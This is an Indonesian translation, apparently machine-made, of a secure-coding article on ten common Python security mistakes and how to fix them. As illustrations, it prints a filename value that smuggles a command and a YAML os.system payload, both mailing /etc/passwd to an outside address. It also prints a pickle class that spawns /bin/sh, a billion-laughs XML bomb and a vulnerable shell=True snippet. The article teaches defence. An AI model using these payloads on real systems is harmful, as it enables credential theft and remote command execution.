10 kesalahan keamanan paling umum dalam Python dan cara menghindarinya

Halo semuanya!

Grup Python kami berikutnya mulai berhasil pada hari Senin, tetapi kami masih memiliki satu materi lagi yang tidak berhasil kami tempatkan sebelum memulai. Kami memperbaiki kesalahan kami dan berharap Anda akan menyukainya.

Ayo pergi!

Menulis kode aman itu sulit. Saat Anda belajar bahasa, modul, atau kerangka kerja, Anda akan belajar cara menggunakannya. Anda juga perlu memikirkan bagaimana penggunaannya secara tidak benar dalam konteks keamanan. Python tidak terkecuali, bahkan dokumentasi untuk pustaka standar berisi deskripsi praktik penulisan yang buruk untuk aplikasi yang aman. Namun, banyak pengembang Python tidak menyadarinya.



Berikut adalah top 10 saya (dalam urutan acak) dari kesalahan paling umum dalam aplikasi Python.

1. Injeksi


Ada banyak jenis serangan injeksi kode, dan semuanya cukup umum. Mereka mempengaruhi semua bahasa, kerangka kerja dan lingkungan.

Injeksi SQL adalah saat Anda menulis kueri SQL secara langsung, daripada menggunakan ORM, dan mencampur string literal dengan variabel. Saya membaca banyak kode di mana "lolos kutipan" dianggap sebagai perbaikan. Ini tidak benar. Anda dapat membiasakan diri dengan banyak cara untuk menanamkan SQL di lembar contekan ini.

Perintah injeksi adalah kapan saja Anda memanggil suatu proses menggunakan popen, subprocess, os.system dan menerima argumen dari variabel. Saat memanggil perintah lokal, ada kemungkinan seseorang akan menetapkan nilai-nilai ini untuk sesuatu yang berbahaya.

Bayangkan skrip sederhana ini [kredit] . Anda memanggil subproses dengan nama file yang disediakan oleh pengguna:

import subprocess def transcode_file(request, filename): command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True) # a bad idea! 

Seorang penyerang menetapkan nilai ke nama file "; cat /etc/passwd | mail them@domain.com atau sesuatu yang sama berbahayanya.

Solusi:

Sterilkan input dengan utilitas yang disertakan dengan kerangka kerja web Anda jika Anda menggunakannya. Kecuali Anda memiliki alasan yang bagus, jangan buat query SQL secara manual. Sebagian besar ORM memiliki metode disinfeksi built-in.

Untuk shell, gunakan modul shlex untuk melindungi input dengan benar.

2.Parsing XML


Jika aplikasi Anda mengunduh dan mem-parsing file XML, kemungkinan Anda menggunakan salah satu modul perpustakaan XML standar. Ada beberapa serangan umum melalui XML. Sebagian besar bergaya DoS (dirancang untuk menjatuhkan sistem, bukan memfilter data). Serangan ini cukup umum, terutama jika Anda mem-parsing file XML eksternal (mis. Yang tidak dapat dipercaya).

Salah satunya disebut "miliar tertawa" (secara harfiah "miliar tertawa") karena payload, yang biasanya mengandung banyak (miliaran) "lol". Pada dasarnya, idenya adalah Anda dapat membuat objek referensi dalam XML, jadi ketika parser XML Anda yang bersahaja mencoba memuat file ini ke dalam memori, ia mengkonsumsi RAM gigabytes. Cobalah jika Anda tidak percaya :-)

 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 

Serangan lain menggunakan ekspansi oleh entitas eksternal. XML mendukung referensi entitas dari URL eksternal, parser XML biasanya meminta dan memuat sumber ini tanpa masalah. "Seorang penyerang dapat mem-bypass firewall dan mendapatkan akses ke sumber daya yang terbatas karena semua permintaan dibuat dari alamat IP internal dan andal, bukan dari luar."

Situasi lain yang patut dipertimbangkan adalah paket decoding XML pihak ketiga yang Anda andalkan, seperti file konfigurasi, API jarak jauh. Anda bahkan mungkin tidak curiga bahwa salah satu dependensi Anda terbuka untuk jenis serangan ini.
Apa yang terjadi dengan Python? Nah, modul library standar, etree, DOM, xmlrpc terbuka lebar untuk serangan semacam itu. Ini didokumentasikan dengan baik di sini .

Solusi:

Gunakan defusedxml sebagai pengganti modul perpustakaan standar. Dia menambahkan langkah-langkah defensif terhadap jenis serangan ini.

3. Menegaskan instruksi


Jangan gunakan assert untuk melindungi fragmen kode yang tidak boleh diakses pengguna. Ambil contoh sederhana ini:

 def foo(request, user): assert user.is_admin, “user does not have access” # secure code... 

Sekarang, secara default, Python berjalan dengan __debug__ sama dengan true, tetapi dalam lingkungan pertempuran biasanya dimulai dengan optimasi. Instruksi assert akan dilewati dan program akan langsung ke kode yang dilindungi, terlepas dari apakah pengguna is_admin atau tidak.

Solusi:

Gunakan instruksi yang assert hanya untuk interaksi dengan pengembang lain, misalnya, dalam pengujian unit atau untuk melindungi terhadap penyalahgunaan API.

4. Serangan sementara


Serangan sementara, pada dasarnya, adalah cara mengungkap perilaku dan algoritma suatu program dengan menentukan waktu yang diperlukan untuk membandingkan nilai-nilai yang diberikan. Serangan sementara membutuhkan akurasi, sehingga mereka biasanya tidak berfungsi pada jaringan jarak jauh dengan latensi tinggi. Karena penundaan variabel yang terkait dengan sebagian besar aplikasi web, hampir tidak mungkin untuk merekam serangan sementara melalui server web HTTP.

Tetapi jika Anda memiliki aplikasi baris perintah yang meminta kata sandi, penyerang dapat menulis skrip sederhana untuk menghitung berapa lama waktu yang diperlukan untuk membandingkan nilainya dengan kata sandi yang sebenarnya. Sebuah contoh

Jika Anda ingin melihat cara kerjanya, ada beberapa contoh yang mengesankan, seperti serangan SSH sementara yang ditulis dengan Python.

Solusi:

Gunakan secrets.compare_digest diperkenalkan dengan Python 3.5 untuk membandingkan kata sandi dan nilai pribadi lainnya.

5. Paket situs atau jalur impor yang terkontaminasi


Python memiliki sistem impor yang sangat fleksibel. Ini bagus ketika Anda mencoba menulis tambalan monyet untuk tes Anda atau membebani fungsi utama.

Tapi ini adalah salah satu lubang keamanan terbesar di Python.

Menginstal paket pihak ketiga dalam paket situs Anda, baik di lingkungan virtual atau paket situs global (yang biasanya tidak mendukung), memberi Anda celah keamanan dalam paket ini.

Ada kasus penerbitan paket PyPi dengan nama yang mirip dengan nama paket populer tetapi mengeksekusi kode arbitrer . Insiden terbesar, untungnya, tidak berbahaya dan hanya "mengakhiri" fakta bahwa mereka tidak memperhatikan masalah tersebut.

Situasi lain untuk dipikirkan adalah dependensi dependensi Anda (dll.). Mereka dapat memasukkan kerentanan, dan mereka juga dapat mengesampingkan perilaku default di Python melalui sistem impor.

Solusi:

Periksa paket Anda. Lihatlah PyUp.io dan tim keamanan mereka. Gunakan lingkungan virtual untuk semua aplikasi dan pastikan paket situs global Anda sebersih mungkin. Periksa tanda tangan paket.

6. File sementara


Untuk membuat file sementara dengan Python, Anda biasanya membuat nama file menggunakan fungsi mktemp() , dan kemudian membuat file menggunakan nama yang dihasilkan. "Ini tidak aman karena proses lain dapat membuat file dengan nama yang sama antara waktu mktemp() dipanggil dan upaya selanjutnya untuk membuat file dengan proses pertama." Ini berarti dapat menipu aplikasi Anda dengan mengunduh data yang salah atau membahayakan data sementara lainnya.

Versi terbaru dari Python akan menampilkan peringatan runtime jika Anda memanggil metode yang salah.

Solusi:

Gunakan modul tempfile dan gunakan mkstemp jika Anda perlu membuat file sementara.

7. Menggunakan yaml.load


Mengutip dokumentasi PyYAML:

Peringatan Tidak aman untuk memanggil yaml.load dengan data apa pun yang diterima dari sumber yang tidak dipercaya! yaml.load seefisien pickle.load, dan karenanya dapat memanggil fungsi Python apa pun.

Contoh yang bagus ini ditemukan dalam proyek Ansible yang populer. Anda dapat memberikan nilai Ansible Vault sebagai YAML (valid). Itu memanggil os.system() dengan argumen yang disediakan dalam file.

 !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"] 

Dengan demikian, dengan memuat file YAML dari nilai yang diberikan pengguna, Anda sangat terbuka untuk menyerang.


Peragaan aksi ini, terima kasih Anthony Sottile

Solusi:

Gunakan yaml.safe_load , hampir selalu, kecuali Anda memiliki alasan yang sangat bagus untuk tidak melakukannya.

8. Acar


Deserialisasi data kalengan sama buruknya dengan YAML. Kelas python dapat mendeklarasikan metode __reduce__ ajaib yang mengembalikan string, atau tuple dengan callable, dan meneruskan argumen untuk dipanggil pada konservasi. Seorang penyerang dapat menggunakan ini untuk memasukkan tautan ke salah satu modul subproses untuk menjalankan perintah sewenang-wenang di host.

Contoh luar biasa ini menunjukkan cara mempertahankan kelas yang membuka shell dengan Python 2. Ada banyak lagi contoh cara menggunakan acar.

 import cPickle import subprocess import base64 class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),)) print base64.b64encode(cPickle.dumps(RunBinSh())) 

Solusi:

Jangan pernah membuka kembali data dari sumber yang tidak dipercaya atau tidak diverifikasi. Sebagai gantinya, gunakan pola serialisasi yang berbeda, seperti JSON.

9. Gunakan sistem runtime python dan tidak menambalnya


Sebagian besar sistem POSIX datang dengan versi Python 2. Secara alami, sudah usang.

Karena Python, yaitu, CPython ditulis dalam C, ada kalanya interpreter Python itu sendiri memiliki lubang. Masalah keamanan umum dalam C berhubungan dengan alokasi memori, serta kesalahan buffer overflow.

Selama bertahun-tahun, CPython telah memiliki beberapa kerentanan besar atau lebih, yang masing-masing telah diperbaiki dan diperbaiki dalam rilis berikutnya.
Jadi kamu aman. Lebih tepatnya, jika Anda menginstal tambalan untuk runtime Anda .

Berikut ini adalah contoh untuk versi 2.7.13 dan di bawahnya , kerentanan integer overflow yang memungkinkan kode untuk dieksekusi. Contoh ini untuk Ubuntu hingga versi 17 tanpa tambalan yang diinstal.

Solusi:

Instal versi terbaru Python untuk aplikasi tempur Anda dan semua tambalan!

10. Jangan menginstal tambalan untuk dependensi Anda


Sama seperti Anda tidak menginstal patch untuk runtime Anda, Anda juga perlu menginstal patch secara berkala untuk dependensi Anda.

Saya pikir praktik “menyematkan” versi Python dari paket PyPi dalam paket itu mengerikan. Idenya adalah bahwa " ini adalah versi yang berfungsi, " sehingga semua orang meninggalkannya sendirian.

Semua kerentanan kode yang saya sebutkan di atas sama pentingnya ketika mereka ada dalam paket yang digunakan aplikasi Anda. Pengembang paket ini memperbaiki masalah keamanan. Sepanjang waktu.

Solusi:

Gunakan layanan seperti PyUp.io untuk memeriksa pembaruan, mengkonfigurasi permintaan unduhan / menggabungkan dalam aplikasi, dan menjalankan tes untuk memperbarui paket.
Gunakan alat, seperti InSpec, untuk memverifikasi versi yang diinstal di lingkungan produksi dan untuk menyediakan perbaikan untuk versi minimum atau rentang versi.

Sudahkah Anda mencoba Bandit?

Ada linter statis besar yang akan menemukan semua masalah ini dalam kode Anda dan banyak lagi! Ini disebut bandit, cukup pip install bandit dan bandit ./codedir

PyCQA / bandit

Terima kasih kepada RedHat untuk artikel yang luar biasa ini yang saya gunakan dalam beberapa penelitian saya.

AKHIR!

Seperti biasa, kami akan senang melihat komentar dan pertanyaan Anda :)

Source: https://habr.com/ru/post/id420441/


All Articles